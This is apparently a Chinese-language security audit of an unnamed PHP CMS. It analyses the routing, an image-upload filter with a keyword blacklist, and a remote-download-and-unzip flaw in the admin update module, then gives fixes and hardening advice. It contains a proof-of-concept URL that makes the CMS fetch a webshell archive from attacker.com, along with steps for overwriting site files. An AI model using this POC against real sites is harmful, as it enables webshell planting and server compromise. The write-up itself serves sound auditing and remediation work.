某cms代码审计
字数 1168 2025-08-09 13:33:54
某CMS代码审计与漏洞利用分析
一、CMS路由机制分析
1. 入口文件index.php分析
index.php文件是CMS的入口文件,主要功能包括:
- 加载和校验核心类(如数据库连接类)
- 实例化front类并调用其dispatch方法
2. 路由分发机制
在/lib/tool/front_class.php中的dispatch方法实现:
public function dispatch() {
// 检查类是否存在
if (!class_exists($this->class)) {
throw new Exception("Class not found");
}
// 通过GET方式获取case和act参数
$case = isset($_GET['case']) ? $_GET['case'] : '';
$act = isset($_GET['act']) ? $_GET['act'] : '';
// 构造方法名
$method = $act . '_action';
// 检查方法是否存在
if (!method_exists($this->class, $method)) {
throw new Exception("Method not found");
}
// 调用方法
call_user_func(array($this->class, $method));
}
关键点:
case和act参数通过GET方式获取- 方法名由
$act拼接"_action"组成 - 后台功能模块调用时通常带有两个GET参数:
site=default&admin_dir=admin
二、文件上传漏洞分析
1. 上传功能点定位
在后台"设置->全局设置->网站logo"处存在上传功能点。
2. 上传处理代码分析
/lib/default/tool_act.php中的uploadimage3_action方法:
function uploadimage3_action() {
$res = array();
$uploads = array();
if (is_array($_FILES)) {
$upload = new upload();
$upload->dir = 'images';
$upload->max_size = config::get('upload_max_filesize') * 1024 * 1024;
$_file_type = str_replace(',', '|', config::get('upload_filetype'));
foreach ($_FILES as $name => $file) {
// 检查文件大小
$res[$name]['size'] = ceil($file['size'] / 1024);
if ($file['size'] > $upload->max_size) {
$res[$name]['code'] = "1";
$res[$name]['msg'] = lang('attachment_exceeding_the_upper_limit') . "(" . ceil($upload->max_size / 1024) . "K)!";
break;
}
// 文件内容检查
if (!front::checkstr(file_get_contents($file['tmp_name']))) {
$res[$name]['code'] = "2";
$res[$name]['msg'] = lang('upload_failed_attachment_is_not_verified');
break;
}
// 文件扩展名检查
if (!$file['name'] || !preg_match('/\.(' . $_file_type . ')$/', $file['name'])) continue;
// 执行上传
$uploads[$name] = $upload->run($file);
if (!$uploads[$name]) {
$res[$name]['code'] = "3";
$res[$name]['msg'] = lang('attachment_save_failed');
break;
}
$str = (config::get('base_url') == "" ? "" : config::get('base_url')) . $uploads[$name];
$res[$name]['name'] = $str;
$res[$name]['type'] = $file['type'];
$res[$name]['code'] = "0";
apps::updateimg($uploads[$name], ROOT . $str);
}
}
echo json::encode($res);
}
3. 安全限制分析
-
文件类型限制:
- 通过
config::get('upload_filetype')获取允许上传的文件类型 - 使用正则表达式进行白名单校验:
preg_match('/\.(' . $_file_type . ')$/', $file['name'])
- 通过
-
文件内容检查:
- 调用
front::checkstr()方法对文件内容进行黑名单检查 - 检查方法实现:
public static function checkstr($str) { $blacklist = array('<?php', '<?=', '<?', '?>', 'eval', 'assert', 'system', 'exec', 'passthru'); foreach ($blacklist as $keyword) { if (strpos($str, $keyword) !== false) { return false; } } return true; }
- 调用
-
绕过可能性:
- 只能使用PHP短标签
<?,但需要服务器配置支持短标签 - 需要配合文件包含漏洞才能利用
- 只能使用PHP短标签
三、远程文件下载漏洞分析
1. 漏洞位置
在/lib/admin/update_admin.php中找到存在漏洞的代码:
// 约85行处
public function downfile_action() {
$url = front::get('url');
$file = $this->get_file($url);
if ($file) {
// 使用PclZip解压文件
$zip = new PclZip($file);
$zip->extract(PCLZIP_OPT_PATH, ROOT, PCLZIP_OPT_REPLACE_NEWER);
// 处理SQL文件
$sql_file = ROOT . '/data/update.sql';
if (file_exists($sql_file)) {
// 执行SQL更新
$this->update_sql($sql_file);
}
echo 'Update successful';
} else {
echo 'Download failed';
}
}
2. 漏洞利用
构造POC:
case=update&act=downfile&site=default&admin_dir=admin&url=http://attacker.com/shell.zip
利用步骤:
- 准备包含WebShell的ZIP文件并放置在攻击者服务器上
- 构造上述URL访问
- CMS会下载并解压ZIP文件,覆盖现有文件
3. 漏洞修复方案
最新版本修复方案:
- 对URL参数进行加密处理
- 添加解密验证步骤
- 如果URL未加密或解密失败,则无法下载文件
修复代码示例:
public function downfile_action() {
$encrypted_url = front::get('url');
$url = $this->decrypt($encrypted_url); // 解密URL
if (!$url) {
die('Invalid URL');
}
// 其余代码不变...
}
四、安全建议
-
文件上传安全:
- 保持白名单校验机制
- 增加文件内容二次验证(如图片文件头检查)
- 对上传文件重命名,避免直接使用用户提供的文件名
-
远程下载安全:
- 限制可下载的URL范围(如只允许特定域名)
- 增加下载权限验证
- 对下载文件进行安全检查
-
其他安全措施:
- 对所有用户输入进行严格过滤
- 实现CSRF防护机制
- 定期更新CMS版本
五、总结
通过本次审计发现:
- 文件上传功能存在严格限制,难以直接上传WebShell
- 远程文件下载功能存在严重漏洞,可导致任意文件下载和覆盖
- 最新版本已通过加密机制修复该漏洞
审计思路总结:
- 从功能点入手分析上传机制
- 当直接上传受限时,寻找间接利用方式
- 全局搜索危险函数(如文件下载、解压等)